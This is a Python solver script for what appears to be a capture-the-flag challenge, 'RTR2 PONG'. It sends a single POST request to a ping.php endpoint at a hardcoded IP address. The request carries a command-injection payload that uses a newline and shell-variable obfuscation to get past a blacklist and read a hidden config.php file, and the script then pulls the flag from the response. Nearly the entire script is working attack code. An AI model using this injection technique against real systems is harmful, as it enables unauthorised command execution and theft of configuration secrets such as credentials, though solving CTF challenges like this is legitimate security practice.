#!/usr/bin/env python3 """Solve RTR2 PONG with a one-request command-injection payload.""" from __future__ import annotations import argparse import re import sys import urllib.error import urllib.parse import urllib.request DEFAULT_URL = "http://45.92.158.64:38419/" PAYLOAD = "127.0.0.1\nc${u}at${IFS}.hidden/config.php" FLAG_PATTERN = re.compile(r"RTRTNI26\{[^}\r\n]+\}") def ping_endpoint(base_url: str) -> str: parsed = urllib.parse.urlsplit(base_url) if parsed.path.rstrip("/").endswith("/ping.php"): return base_url return base_url.rstrip("/") + "/ping.php" def solve(base_url: str, timeout: float) -> str: endpoint = ping_endpoint(base_url) body = urllib.parse.urlencode({"input": PAYLOAD}).encode() request = urllib.request.Request( endpoint, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}, method="POST", ) try: with urllib.request.urlopen(request, timeout=timeout) as response: text = response.read().decode("utf-8", errors="replace") except (urllib.error.URLError, TimeoutError) as exc: raise RuntimeError(f"request to {endpoint} failed: {exc}") from exc if "Akses Ditolak" in text: raise RuntimeError("payload was rejected by the blacklist") match = FLAG_PATTERN.search(text) if not match: raise RuntimeError("command ran, but no RTRTNI26 flag was found in the response") return match.group(0) def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--url", default=DEFAULT_URL, help="challenge base URL or ping.php URL") parser.add_argument("--timeout", type=float, default=60.0, help="request timeout in seconds") args = parser.parse_args() try: print(solve(args.url, args.timeout)) except RuntimeError as exc: print(f"error: {exc}", file=sys.stderr) return 1 return 0 if __name__ == "__main__": raise SystemExit(main())